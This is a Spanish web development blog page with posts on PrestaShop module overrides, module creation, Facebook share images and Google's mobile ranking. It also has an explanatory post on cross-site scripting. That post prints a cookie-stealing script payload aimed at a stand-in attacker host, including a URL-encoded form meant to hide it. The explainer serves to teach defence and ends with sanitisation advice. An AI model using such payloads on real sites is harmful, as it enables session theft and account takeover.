viernes, 31 de julio de 2015

Override sobre los módulos a partir de Prestashop 1.6.0.11

Solución slide de precio del módulo navegación por facetas de Prestashop

A partir de la versión de Prestashop 1.6.0.11 ya es posible hacer override sobre los módulos de Prestashop, concretamente el override se hace sobre los archivos principales de los módulos, estos archivos se llaman igual que el módulo en cuestión, si un módulo se llama blockcontactinfos, el archivo principal se llamará blockcontactinfos.php.

Pero... ¿Qué es el override en Prestashop?

La técnica del override en Prestashop consiste en la creación de un archivo de mismo nombre que el original, cuya información sustituirá a la del archivo original, siempre y cuando, el nombre de la función o instrucción coincida con la del archivo original.
Por ejemplo, si el archivo del override contiene una función que también aparece en el archivo original, la función del override prevalecerá sobre la original, para el resto de funciones se tendrá en cuenta el archivo original, pues el archivo del override solo contiene una función que coincide con la del archivo original.

Gracias al override no será necesario modificar los archivos originales de Prestashop, ni se perderán los cambios que hagamos en los archivos del override si actualizamos Prestashop a una nueva versión.

El archivo que reemplazará al original debe ser guardado en un directorio creado para tal fin, este directorio se llama override, y se encuentra en la carpeta raíz de Prestashop.

El override puede utilizarse para sobreescribir archivos php, hojas de estilo css, plantillas tpl y archivos javascript. Uno de los usos más interesantes del override en Prestashop consiste en la sobreescritura de controladores y clases del núcleo de Prestashop.

Pero de lo que trata este tutorial y es novedad a partir de la versión 1.6.0.11, es la posibilidad de hacer override sobre los módulos de Prestashop, concretamente sobre los archivos principales de los módulos. Estos archivos se llaman igual que el módulo en cuestión, son archivos .php, y sirven entre otras cosas, para registrar los hooks o insertar información en la base de datos.

Así que, pongámonos manos a la obra, y hagamos override sobre el módulo, por ejemplo, blockcontactinfos.

El módulo blockcontactinfos visto desde nuestra tienda

El módulo blockcontactinfos permite mostrar la información de contacto de nuestra tienda. En el Back-office este módulo se llama "Bloque de información de contacto", aparece en el footer de nuestra tienda y presenta este aspecto:

Módulo blockcontactinfos de Prestashop 1.6

Creando el override...

Como decíamos, cada módulo dispone de un archivo principal, así que, nuestro objetivo es sobreescribir el archivo blockcontactinfos.php. Para ello, deberemos crear una carpeta llamada blockcontactinfos en ../prestashop/override/modules
Dentro de esta carpeta crearemos un archivo llamado blockcontactinfos.php

Con esto ya sentamos la base para realizar el override, pero obviamente hay que insertar código en el archivo del override.

Para ello nos vamos a apoyar en el archivo original, así que vayamos a ../prestashop/modules/blockcontactinfos y abramos el archivo blockcontactinfos.php con nuestro editor de código favorito. Del código que veremos nos quedaremos primeramente con esto:

1<?php
2 
3if (!defined('_CAN_LOAD_FILES_'))
4 exit;
5  
6class Blockcontactinfos extends Module
7{
8}

De este código solo debemos cambiar los nombres de clase:

1<?php
2 
3if (!defined('_CAN_LOAD_FILES_'))
4 exit;
5  
6class BlockcontactinfosOverride extends Blockcontactinfos
7{
8}

Como vemos en el código inmediatamente anterior, creamos nuestra propia clase (BlockcontactinfosOverride) que heredará de la clase original.

Lo que vamos a hacer es extender la función responsable de mostrar la información visible en la tienda, así que, vayamos al archivo original y copiemos esta función:

1public function hookFooter($params)
2 {
3  if (!$this->isCached('blockcontactinfos.tpl', $this->getCacheId()))
4   foreach (Blockcontactinfos::$contact_fields as $field)
5    $this->smarty->assign(strtolower($field), Configuration::get($field));
6  return $this->display(__FILE__, 'blockcontactinfos.tpl', $this->getCacheId());
7 }

Ahora la pegaremos en nuestro override, de forma que quede así:

01<?php
02 
03if (!defined('_CAN_LOAD_FILES_'))
04 exit;
05  
06class BlockcontactinfosOverride extends Blockcontactinfos
07{
08 
09 public function hookFooter($params)
10 {
11  if (!$this->isCached('blockcontactinfos.tpl', $this->getCacheId()))
12   foreach (Blockcontactinfos::$contact_fields as $field)
13    $this->smarty->assign(strtolower($field), Configuration::get($field));
14  return $this->display(__FILE__, 'blockcontactinfos.tpl', $this->getCacheId());
15 }
16  
17  
18}

Ahora todos los cambios que hagamos en esta función de nuestro override prevalecerán sobre la función original.

Vamos a extender la función original para mostrar una pequeña información adicional:

01public function hookFooter($params)
02{
03 if (!$this->isCached('blockcontactinfos.tpl', $this->getCacheId()))
04  foreach (Blockcontactinfos::$contact_fields as $field)
05   $this->smarty->assign(strtolower($field), Configuration::get($field));
06   $this->smarty->assign(array(
07   'nombre_tienda' => Configuration::get('PS_SHOP_NAME'),
08   'version_ps' => Configuration::get('PS_VERSION_DB')
09  ));
10 return $this->display(__FILE__, 'blockcontactinfos.tpl', $this->getCacheId());
11}

Como vemos en el código inmediatamente anterior, simplemente hemos ampliado la función con dos variables para mostrar el nombre de nuestra tienda y la versión actual de nuestro Prestashop. Con este archivo ya hemos terminado, guardamos cambios.

Pero esto no bastará para que se muestre la información en nuestra tienda, para ello deberemos incluir las variables en el archivo .tpl correspondiente al módulo. En este caso el archivo blockcontactinfos.tpl:

01<ul class="toggle-footer">
02            {if $blockcontactinfos_company != ''}
03             <li>
04              <i class="icon-map-marker"></i>{$blockcontactinfos_company|escape:'html':'UTF-8'}{if $blockcontactinfos_address != ''}, {$blockcontactinfos_address|escape:'html':'UTF-8'}{/if}
05             </li>
06            {/if}
07            {if $blockcontactinfos_phone != ''}
08             <li>
09              <i class="icon-phone"></i>{l s='Call us now:' mod='blockcontactinfos'}
10              <span>{$blockcontactinfos_phone|escape:'html':'UTF-8'}</span>
11             </li>
12            {/if}
13            {if $blockcontactinfos_email != ''}
14             <li>
15              <i class="icon-envelope-alt"></i>{l s='Email:' mod='blockcontactinfos'}
16              <span>{mailto address=$blockcontactinfos_email|escape:'html':'UTF-8' encode="hex"}</span>
17             </li>
18                 
19                <li>Nombre Tienda: <span>{$nombre_tienda}</span></li>
20          <li>Versión de Prestashop: <span>{$version_ps}</span></li>
21            {/if}
22        </ul>

Como podemos ver en el código inmediatamente anterior, insertamos las variables en dos etiquetas <li> al final de la etiqueta <ul class="toggle-footer">.
Así es como quedaría en nuestra tienda:

Módulo editado blockcontactinfos de Prestashop 1.6

Y este sería el código final de nuestro override:

01<?php
02 
03 if (!defined('_CAN_LOAD_FILES_'))
04 exit;
05  
06class BlockcontactinfosOverride extends Blockcontactinfos
07{
08 
09 public function hookFooter($params)
10 {
11  if (!$this->isCached('blockcontactinfos.tpl', $this->getCacheId()))
12   foreach (Blockcontactinfos::$contact_fields as $field)
13    $this->smarty->assign(strtolower($field), Configuration::get($field));
14    $this->smarty->assign(array(
15    'nombre_tienda' => Configuration::get('PS_SHOP_NAME'),
16    'version_ps' => Configuration::get('PS_VERSION_DB')
17   ));
18  return $this->display(__FILE__, 'blockcontactinfos.tpl', $this->getCacheId());
19 }
20  
21  
22}

Este es solo un ejemplo trivial para demostrar la funcionalidad del override sobre los módulos, pero espero que os haya sido de utilidad la información.

Consideraciones finales

  • Es posible que para poder ver los cambios en un módulo sobre el que hayamos hecho override, sea necesario reiniciar el módulo desde el Back-office de Prestashop.
    En ciertos módulos podemos perder la información o configuración guardada si reiniciamos éste, por lo que sería conveniente tomar nota de toda configuración o información antes de reiniciar el módulo.
  • Si después de reiniciar el módulo no se aprecian los cambios, vaciar la caché y forzar compilación.

miércoles, 29 de julio de 2015

Ataques de secuencia de comandos entre páginas Web (XSS)



XSS (Cross Site Scripting)

El Cross-Site-Scripting es una vulnerabilidad que aprovecha la falta de mecanismos de filtrado en los campos de entrada y permiten el ingreso y envío de datos sin validación alguna, aceptando el envió de scripts completos, pudiendo generar secuencias de comandos maliciosas que impacten directamente en el sitio o en el equipo de un usuario.


Inyección de código malintencionado

Los ataques por secuencias de comandos entre páginas Web (también conocidos como XSS oCSS) son ataques dirigidos a los páginas Web que muestran de forma dinámica el contenido de los usuarios sin verificar ni codificar la información ingresada por ellos. Este tipo de ataque obliga a la página Web a mostrar el código HTML o los comandos ingresados por los usuarios. Por lo tanto, el código incluido (por lo general se usa el término "inyectado") en una página Web vulnerable se considera "malintencionado".
Es común que las páginas Web muestren mensajes informativos directamente mediante el uso de un parámetro introducido por el usuario. El ejemplo más clásico es el de las "páginas de error 404". Algunas páginas Web modifican el comportamiento de la página Web de modo que pueda mostrar un mensaje de error personalizado cuando la página solicitada por el visitante no existe. En ciertas ocasiones, la página generada dinámicamente muestra el nombre de aquella que se solicita. A una página Web con dicho error la llamaremos http://paginaweb.vulnerable. La solicitud de la dirección URL del página Web http://pagina web.vulnerable/paginainexistente correspondiente a una página que no existe genera un mensaje de error que indica que la "página inexistente" no existe. En consecuencia, es posible mostrar cualquier contenido desde el página Web remplazando "página inexistente" por cualquier otra cadena.
De esta forma, si el contenido suministrado por el usuario no se verifica, es posible mostrar un código HTML arbitrario en una página Web para cambiar su apariencia, contenido o comportamiento.
Asimismo, la mayoría de los navegadores tienen la capacidad de interpretar las secuencias de comandos de las páginas Web, incluso en otros lenguajes, como JavaScriptVBScriptJava, ActiveX o Flash. Las siguientes etiquetas HTML permiten incorporar secuencias de comandos ejecutables en una página Web: <SCRIPT>, <OBJECT>, <APPLET> y <EMBED>.
Por lo tanto, un pirata informático puede inyectar un código arbitrario en la página para que se ejecute en el equipo del usuario cuando intenta garantizar la seguridad de la página Web vulnerable. Para ello, sólo debe remplazar el valor del texto que se mostrará con una secuencia de comandos de modo que aparezca en la página Web. Siempre y cuando el navegador del usuario esté configurado para ejecutar dichas secuencias de comandos, el código malintencionado tendrá acceso a todos los datos compartidos por la página Web y el servidor del usuario (cookies, campos de entrada, etc.).

Consecuencias

Gracias a las vulnerabilidades de las secuencias de comandos entre páginas Web, un pirata informático puede usar este método para recuperar datos intercambiados entre el usuario y el página Web al que ingresa. Por ejemplo, el código inyectado en la página se puede usar para engañar al usuario y hacer que ingrese información de autenticación.
Además, la secuencia de comandos inyectada puede redireccionar al usuario a una página Web controlada por el pirata informático, probablemente con la misma interfaz gráfica que la página Web comprometida para engañar al usuario.
En este contexto, la relación de confianza que existía entre el usuario y el página Web se ve afectada por completo.

Persistencia del ataque

Cuando los datos ingresados por el usuario se almacenan en el servidor durante cierto período de tiempo (como en el caso de un foro de discusión, por ejemplo), el ataque se llama "persistente". Todos los usuarios de la página Web tienen acceso a la página donde se ha inyectado el código.
Los ataques denominados "no persistentes" se dirigen a páginas Web dinámicas en las que una variable ingresada por el usuario se muestra como tal (por ejemplo, cuando aparece el nombre de usuario de la página actual o de la palabra ingresada en un campo de entrada). Para aprovechar esta vulnerabilidad, el atacante debe proporcionar a la víctima una dirección URL modificada, transfiriendo el código que se debe ingresar como un parámetro. Sin embargo, debido a que una dirección URL contiene código Javascript y algunos elementos pueden resultarle sospechosos a la víctima, este ataque generalmente se realiza codificando los datos de la dirección URL para que el código inyectado permanezca oculto.

Ejemplo

Supongamos que la página de inicio de CómoFunciona.net es vulnerable a un ataque por secuencia de comandos entre páginas Web ya que en ella puede aparecer un mensaje de bienvenida con el nombre del usuario como un parámetro:
http://es.kioskea.net/?nom=Jeff
Una persona malintencionada podría llevar a cabo un ataque XSS al proporcionar a la víctima una dirección que remplace el nombre "Jeff" con un código HTML. En especial, podría transferir el siguiente código Javascript como un parámetro para redireccionar al usuario a una página controlada por el pirata:
<SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>
El código anterior recupera las cookies del usuario y las envía como parámetros a una secuencia de comandos CGI. El siguiente código transferido como un parámetro sería demasiado obvio:
http://es.kioskea.net/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>
No obstante, la codificación de la dirección URL permite ocultar el ataque:
http://es.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e

Ataque entre páginas Web

En el ejemplo anterior, toda la secuencia de comandos se transfirió como un parámetro URL. El método GET, que permite transferir los parámetros a la dirección URL, se limita a una longitud total de 255 caracteres. Gracias al atributo SRC de la etiqueta <SCRIPT>, es posible ejecutar un código malintencionado almacenado en una secuencia de comandos en un servidor remoto. Como es posible inyectar un código desde una fuente remota, este tipo de ataque se realiza "entre páginas Web".

Protección

Los usuarios pueden protegerse contra los ataques XSS al configurar sus navegadores para impedir que se ejecuten lenguajes de secuencias de comando. En realidad, esto no brinda una solución óptima para el usuario ya que muchas páginas Web no funcionan adecuadamente cuando se prohíbe la ejecución de un código dinámico.
La única solución viable para impedir los ataques por secuencias de comandos entre páginas Web consiste en diseñar páginas Web sin vulnerabilidades. Para ello, el diseñador debe:
  • verificar el formato de los datos ingresados por los usuarios
  • codificar los datos visibles del usuario remplazando los caracteres especiales con susequivalentes en HTML
El término "sanitización"(sanitation en inglés) hace referencia a todas las acciones que contribuyen a proteger los datos ingresados.

Definir la imagen del producto al compartir en facebook‏

Definir la imagen del producto al compartir en facebook‏

En algunas ocasiones cuando queremos añadir plugins para compartir en las redes sociales como por ejemplo Addthis tenemos el problema de que a menudo Facebook coge la primera imagen que se encuentra en la página o la que quiere en vez de la imagen del producto, efecto que crea algo de confusión en los usuarios que intentan compartir.

Para evitar que facebook se tome la libertad de coger la imagen que quiera, o evitar que todas las imagenes de tu web sean seleccionadas por el, basta con añadir el atributo y valor rel=”image_src” al tag que contenga la imagen que deseamos escoger como única y predeterminada para esta compartición. En el caso de Prestashop, lo lógico sería añadírselo a la imagen principal.

Un ejemplo de este tributo seria:

<img src="http://your-domain.com/images/image.jpg" alt="" rel="image_src" />

lunes, 27 de julio de 2015

Google penaliza los diseños no responsive

google

Google penaliza los diseños no responsive

Hace más de 2 meses Google anunció en su blog que a partir del 21 de abril del 2015 las webs que no estén optimizadas o preparadas para verse correctamente en el móvil serán penalizadas en los resultados de búsqueda.

Ver esta noticia

Las webs que no tengan un diseño responsive perderán posicionamiento con respecto a otras webs optimizadas.


Si tu web no dispone de un diseño responsive es hora de incorporarlo para no perder visitas.
Existen diversas herramientas o frameworks para realizar diseños responsive, entre ellos: bootstrap, flexbox, skeleton, media queries…
Revisar si mi web está optimizada para los dispositivos móviles

viernes, 24 de julio de 2015

Crear un módulo para Prestashop

prestashop

Crear un módulo para Prestashop

Prestashop se basa en el modelo MVC (Modelo, Vista, Controlador) para gestionar la información.

Modelo-> Son todos los objetos que extienden la clase base “ObjectModel”, que define las funciones y comportamiento estándar para gestionar las tablas de prestashop y la base para el soporte multilenguaje.

Vista-> Implementada mediante las plantillas de Smarty, que se encargan de gestionar la presentación de datos en pantalla.

Controlador-> Son las clases que se encargan de la gestion del flujo de datos, recuperan los datos del modelo y los envían a la vista. Se encuentran en el directorio base de la aplicación y se corresponden con las páginas principales del proyecto.

Dado que cualquier cambio en esta arquitectura sería elevadamente difícil de controlar y actualizar con las diferentes nuevas versiones del producto, la solución se encuentra en crear módulos, que utilizan las funciones y recursos del núcleo de la aplicación sin interferir en ella.
El objetivo de este artículo es proporcionar una forma sencilla de crear nuevos módulos para la solución de comercio electrónico Prestashop mediante la creación de un “patrón de diseño” para la estructura de un módulo.

Prestashop tiene la capacidad de incorporar nuevos módulos a los ya existentes.
La organización de Prestashop permite modificar tanto la parte visible (Front end) como la parte de administración (Back office).

Dentro de la estructura de directorio del proyecto Prestashop, la parte que nos interesa es el directorio “modules”. En este directorio tenemos todos los módulos que tiene incorporados nuestra tienda.
Estos módulos se dividen en varios tipos de módulos, hay módulos ‘ block ‘ que representan en sí mismos un tipo de objeto utilizable y también hay módulos más “Genéricos”.
Todos los módulos están organizados de la misma manera, haciendo así más sencillo crear un nuevo módulo. Se podría hablar de un “patrón” de los módulos Prestashop. Y este es relativamente simple.
Todo módulo incluye como mínimo un archivo <nombreMódulo>.php y otro
<nombreMódulo>.tpl. Con estos dos archivos es suficiente para crear un nuevo módulo.
En el directorio de un módulo, se podría también observar la presencia de un archivo logo.gif que va a ser el icono que se muestre en la tabla de módulos de administración (Back office).
Encontramos también otros archivos (script php) representados con abreviaturas de códigos de países representando los idiomas o traducciones del módulo:

es:Español
en:Inglés
fr.:Francés
d:Alemán
nl:Holandés
..
Estos archivos de idiomas, para ser utilizados en las traducciones, deben encontrarse en el directorio raíz del módulo. Prestashop no los encontrará si se encuentran por ejemplo en los subdirectorios.
A nivel práctico, lo mejor es construir su módulo con un idioma de “referencia” y a través del Back office utilizar la herramienta de “traducción” para editar otros idiomas y guardar sus expresiones traducidas.
En las plantillas, la sintaxis de la llamada es un poco diferente a las expresiones generales:
{l s = 'la expresión' mod = 'Unmodule'}
Si no se pone el atributo mod, la expresión no se traducirá correctamente.

Como vamos a construir el código general de nuestro módulo?

Nuestra clase módulo va a heredar de la clase Module (prestashop/clases/Module.php) y, por tanto, ya tendrá unas pocas propiedades y métodos desde el principio.

Vamos a mostrar un código básico para un nuevo módulo:
<?php
class UnModule extends Module {

    public function __construct() {
        $this->name = 'unmodule';
        $this->tab = 'front_office_features';
        $this->version = 1.0;
        $this->author = 'Jose Aguilar';
        parent::__construct();
        $this->page = basename(__FILE__, '.php');
        $this->displayName = $this->l('Titulo del modulo');
        $this->description = $this->l('Descripcion del modulo');
    }

   public function install() {
      if(parent::install() == false)
         return false;
      return true;
   }
}
?>

Como vemos, para crear módulos va a ser imprescindible que tengamos conocimientos en programación orientada a objetos ya que vamos a tener que trabajar con clases.

Para acceder a la configuración del módulo, se debe añadir el siguiente método a nuestro módulo:

public function getContent () {
   // Instruciones …
}

Este poco código, añade en el Back office un enlace hacia la página de configuración asociada.
Si se sigue el enlace “Configuración >>” que aparece en el módulo, la página destino estará vacía de momento.
Con este poco código ya conseguimos que en la administración tengamos disponible nuestro módulo.



Para que un módulo se “añada” a una parte de “Front office” deberá referirse a un “gancho” (Hook) que debe existir en la tabla Prestashop del mismo nombre.
Las tablas de Hook presentes en Prestashop son:

1. payment
2. newOrder
3. paymentConfirm
4. paymentReturn
5. updateQuantity
6. rightColumn
7. leftColumn
8. home
9. header
10. cart
11. authentication
12. addproduct
13. updateproduct
14. top
15. extra
16. deleteproduct
17. productfooter
18. invoice
19. updateOrderStatus
20. adminOrder
21. footer
22. PDFInvoice
23. adminCustomers
24. orderConfirmation
25. createAccount
26. customerAccount
27. orderSlip
28. productTab
29. productTabContent
30. shoppingCart

Podríamos añadir la siguiente función a nuestro módulo:

function hookDisplayLeftColumn($params) {

   return $this->display(__FILE__, 'unmodule.tpl');
} 

function hookDisplayRightColumn($params) {
   return $this->hookDisplayLeftColumn($params);
}


Uno de los puntos más importante es la “llamada”, de nuestro módulo a ciertas partes del Front office (en el caso de ser necesario obviamente).

Para hacer un módulo visible en la parte front office, debemos instalar el nuevo módulo y posicionarlo dentro del hook que deseemos siempre teniendo en cuenta que en el caso de este ejemplo solo hemos añadido 2 funciones: “hookRightColumn” y “hookLeftColumn”, por tanto, este módulo solo podrá posicionarse en una de las 2 columnas de la tienda.

Ahora deberíamos crear un archivo .tpl para mostrar nuestro módulo en el front office. Por norma, el archivo debe contener el mismo nombre que el archivo php pero podríamos llamarle de cualquier forma, mientras hagamos la llamada correcta dentro del archivo .php.

El archivo “unmodule.tpl” contendrá el código HTML que se visualizará en el Front office.
Para añadir estilos o código CSS a un módulo deberemos añadir la siguiente función al módulo:

public function hookDisplayHeader($params) {
   $this->context->controller->addCSS($this->_path.'css/unmodule.css', 'all');
}


Crea un directorio css en el directorio de tu módulo y añadir un archivo .css  con los estilos que utilizará el módulo.

Y ahora solo faltan ideas para crear nuevas funcionalidades.